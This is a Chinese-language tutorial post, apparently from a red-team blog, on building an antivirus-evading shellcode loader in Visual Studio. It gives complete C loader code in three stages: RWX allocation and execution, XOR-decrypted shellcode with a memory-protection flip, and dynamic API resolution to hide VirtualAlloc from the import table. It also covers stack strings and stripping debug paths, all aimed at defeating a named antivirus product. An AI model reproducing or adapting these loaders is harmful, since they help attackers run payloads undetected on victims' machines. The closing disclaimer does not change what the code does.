前言
读过前几期的文章,相信各位看官已经初步掌握了一些免杀技巧。本期我们将在Visual Studio环境下,手把手演示从代码编写到免杀成型的完整流程。文章内嵌实测通过的代码样本,建议在虚拟机环境中学习实践。
静态编译
#include<
windows.h>
// 示例Shellcode(实际使用需替换)unsignedchar shellcode[] = { 0x1f, 0x2f, 0x3f, 0x4f };intmain(){// 分配可执行内存void* exec_mem = VirtualAlloc(0,sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE );// 复制Shellcode到可执行内存memcpy(exec_mem, shellcode, sizeof(shellcode));// 转换为函数指针并执行 ((void(*)())exec_mem)();return0;}
大小为11k,太小了,这个程序在别的没有安装Visual Studio的机器上可能无法运行,所以此时要修改编译选项,代码生成方式:项目属性→ C/C++ → 代码生成 → 运行库,将其修改成/MT
重新进行编译,再去查看生成文件的大小
shellcode加密
在代码中写入明文shellcode,编译之后也是可以直接看到明文shellcode,上面的示例shellcoce是0x1f, 0x2f, 0x3f, 0x4f
,可以直接在exe中查看到,这样直接就会被查杀。
接下来通过异或加密的方式来隐藏shellcode,注:这里为了演示所以使用异或加密,实际操作中尽量不要用异或这么简单的加密,现在的杀软很容易检查出来特征。
#include<
windows.h>
// 异或加密后的Shellcode(密钥0xAA)unsignedchar encrypted_shellcode[] = {0xB5, 0x85, 0x95, 0xE5// 示例加密数据(需替换为实际加密后的shellcode)};voidxor_decrypt(unsignedchar* data, size_t data_len, unsignedchar key){for (size_t i = 0; i < data_len; i++) { data[i] ^= key; }}intmain(){// 设置解密密钥(需与实际加密密钥一致)constunsignedchar XOR_KEY = 0xAA;// 分配可读写内存用于解密void* exec_mem = VirtualAlloc(0,sizeof(encrypted_shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE // 初始设置为可读写 );// 复制加密的Shellcode到内存memcpy(exec_mem, encrypted_shellcode, sizeof(encrypted_shellcode));// 执行异或解密xor_decrypt((unsignedchar*)exec_mem, sizeof(encrypted_shellcode), XOR_KEY);// 修改内存保护为可执行 DWORD old_protect;VirtualProtect(exec_mem, sizeof(encrypted_shellcode), PAGE_EXECUTE_READ, &old_protect);// 转换为函数指针并执行 ((void(*)())exec_mem)();return0;}
使用0xAA
来加密shellcode,此时可执行文件中已经获取不到特征0x1f, 0x2f, 0x3f, 0x4f
。另外,这里不像上一节中只使用VirtualAlloc
分配可读可写可执行内存,也是为了减少shellcode执行特征,在实际操作中要先申请可读写内存,写入解密的shellcode之后,再将内存属性改为可读可执行。
导入表隐藏
这个代码里面涉及的敏感函数是VirtualProtect
和VirtualAlloc
,这里我只演示VirtualAlloc
的隐藏。
首先能看到在导入表中存在VirtualAlloc
这个敏感函数
现在我们的写法属于静态导入,会将使用的api写入到导入表中,在文件执行时有系统加载对应的dll,并将对应函数的地址写入内存中。为了在导入表中隐藏这个函数,我们可以使用动态导入的方式,主要靠LoadLibraryA
载入dll和GetProcAddress
获取函数地址这两个函数。
#include<
windows.h>
// 异或加密后的Shellcode(密钥0xAA)unsignedchar encrypted_shellcode[] = {0xB5, 0x85, 0x95, 0xE5// 示例加密数据(需替换为实际加密后的shellcode)};// 定义函数指针类型typedefLPVOID(WINAPI *pVirtualAlloc)( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);voidxor_decrypt(unsignedchar* data, size_t data_len, unsignedchar key){for (size_t i = 0; i < data_len; i++) { data[i] ^= key; }}intmain(){constunsignedchar XOR_KEY = 0xAA; HMODULE hKernel32; pVirtualAlloc MyVirtualAlloc = NULL;// 动态获取VirtualAlloc地址 hKernel32 = LoadLibraryA("
kernel32.dll"
);if (hKernel32 == NULL) return1; MyVirtualAlloc = (pVirtualAlloc)GetProcAddress(hKernel32, "VirtualAlloc");if (MyVirtualAlloc == NULL) return1;// 使用动态获取的函数分配内存void* exec_mem = MyVirtualAlloc(0,sizeof(encrypted_shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE );if (!exec_mem) return1;memcpy(exec_mem, encrypted_shellcode, sizeof(encrypted_shellcode));xor_decrypt((unsignedchar*)exec_mem, sizeof(encrypted_shellcode), XOR_KEY);// 修改内存保护(可保持动态导入或使用原始方式) DWORD old_protect;VirtualProtect(exec_mem, sizeof(encrypted_shellcode), PAGE_EXECUTE_READ, &old_protect); ((void(*)())exec_mem)();FreeLibrary(hKernel32);return0;}
编译完成后,再去看导入表中,已经没有VirtualAlloc
这个函数,达到了在导入表中隐藏的目的
去字符串特征
上一节中,虽然导入表中没有了VirtualAlloc
这个函数,但是直接在exe中搜索这个字符串还是存在的。
所以这部分也是需要处理的,这里修改一行代码即可,将
MyVirtualAlloc = (pVirtualAlloc)GetProcAddress(hKernel32, "VirtualAlloc");
这部分代码修改成
char valloc_str[] = { 'V','i','r','t','u','a','l','A','l','l','o','c',0 };MyVirtualAlloc = (pVirtualAlloc)GetProcAddress(hKernel32, valloc_str);
这12个字节的十六进制为56 69 72 74 75 61 6C 41 6C 6C 6F 63 00
编译之后分布如下,所以导致无法被解析出字符串。
还有更加彻底的混淆方式:
-
• 通过PEB遍历实现无LoadLibrary/GetProcAddress的API解析 -
• 使用哈希算法代替直接字符串比较 -
• 实现间接系统调用(syscall)
这些技巧可以在以后的文章中进行讨论
隐藏调试符号
以上的方法都使用了之后,有时会发现无论你的代码怎么修改,shellcode如何加密,总是直接被数字杀毒查杀,那么这里面还是存在一个特征,那就是调试符号文件路径。
这里直接显示了编译的程序路径,下面通过配置来去掉这个特征。
打开 项目属性→ 链接器 → 调试 → 生成调试信息 将这部分改为否,重新编译即可。
总结
使用以上的技巧,再结合
这两篇文章中提到的,对付数字杀毒已经可以了。
你在实战中还遇到过哪些免杀技巧?欢迎在评论区留言分享!
如果你对网络安全、红队攻防技术充满热情,渴望学习更多实战技巧,例如渗透测试、自动化脚本编写、免杀技术等, 欢迎关注我的公众号
在这里,我会持续分享更多原创高质量的技术文章,与你一同探索网络安全的奥秘,提升实战技能! 让我们一起在队攻防的道路上,不断精进,突破边界!
免责声明: 本文仅供安全技术研究与学习交流之用。 严禁将本文所提及的技术用于任何非法用途,包括但不限于未经授权的渗透测试、网络攻击、恶意代码传播等。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论